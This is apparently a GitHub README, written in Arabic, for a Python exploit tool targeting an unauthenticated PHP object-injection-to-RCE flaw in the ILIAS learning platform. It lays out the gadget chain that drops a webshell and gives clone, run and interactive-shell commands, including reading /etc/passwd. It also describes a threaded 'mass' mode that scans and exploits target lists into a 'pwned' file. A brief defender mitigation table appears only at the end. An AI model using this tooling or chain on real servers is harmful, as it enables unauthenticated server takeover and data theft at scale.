
ILIAS ≤ 9.21 / 10.9 / 11.2 — حقن كائنات PHP دون مصادقة (تنفيذ تعليمات عن بُعد)
CVE-2026-80428المتجه: نقطة نهاية تسجيل الخروج الخلفي لـ Shibboleth
التأثير: تنفيذ تعليمات برمجية عن بُعد بالكامل بصلاحيات مستخدم خادم الويب
الخطورة: 🔴 حرجة
CVE-2026-80428 هي ثغرة حقن كائنات PHP دون مصادقة حرجة تؤثر على نظام إدارة التعلم ILIAS. من خلال ربط بدائية تسميم الجلسة في
ltiauth.phpمع استدعاءunserialize()غير آمن فيshib_logout.php، يمكن للمهاجم تحقيق كتابة ملفات عشوائية وفي النهاية تنفيذ تعليمات برمجية عن بُعد (RCE) — كل ذلك دون مصادقة.
| 🎯 المعامل | 📋 القيمة |
|---|---|
| معرّف CVE | CVE-2026-80428 |
| النوع | حقن كائنات PHP ← RCE |
| المصادقة المطلوبة | ❌ لا شيء |
| متجه الهجوم | الشبكة (HTTP/HTTPS) |
| درجة CVSS | 9.8 (حرجة) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
خطوة بخطوة:
ltiauth.php بتخزين حمولة مُسلسَلة داخل جلسة PHP دون التحقق منها.shib_logout.php طلب SOAP مُصمَّم من نوع Shibboleth LogoutNotification ويستدعي unserialize() على بيانات الجلسة.GuzzleHttp\Cookie\FileCookieJar الدالة file_put_contents() لإسقاط PHP webshell في مسار يتحكم به المهاجم.| 🏷️ الفرع | ❌ عرضة للثغرة | ✅ مُصحَّح |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 الأساسيات
|
💎 سهولة الاستخدام
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
المتطلبات:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
الخيارات:
| العلم | الوصف | الافتراضي |
|---|---|---|
--port | المنفذ الهدف | 443 |
--path | جذر مستندات ILIAS على القرص | /var/www/ilias/public |
--host-header | ترويسة Host مخصصة | — |
--timeout | مهلة الطلب (بالثواني) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
الخيارات:
| العلم | الوصف | الافتراضي |
|---|---|---|
-l, --list | مطلوب — ملف قائمة الأهداف | — |
-t, --threads | العمال المتزامنون | 20 |
-o, --output | ملف الإخراج للأهداف القابلة للاستغلال | ilias_vuln.txt |
--path | جذر مستندات ILIAS | /var/www/ilias/public |
--host-header | ترويسة Host مخصصة | — |
--timeout | مهلة الطلب (ثانية) | 30 |
أنشئ ملف targets.txt:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
الصيغ المدعومة:
hosthost:porthttp://hosthttps://host:porthost/path (يُزال المسار) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
للمدافعين ومسؤولي النظام:
| 🛠️ الإجراء | 📝 التفاصيل |
|---|---|
| 🔼 ترقية ILIAS | 9.22 / 10.10 / 11.3 أو أحدث |
| 🚫 تعطيل Shibboleth | إذا لم يكن مستخدمًا — احذف shib_logout.php |
| 🧱 قواعد WAF | احظر حمولات LogoutNotification المشوّهة في SOAP |
| 📂 تقييد صلاحية الكتابة | يجب ألا يكون جذر الويب قابلًا للكتابة بواسطة www-data |
| 🔍 المراقبة | ابحث عن ملفات .php غير المتوقعة في مجلدات الرفع/التخزين المؤقت |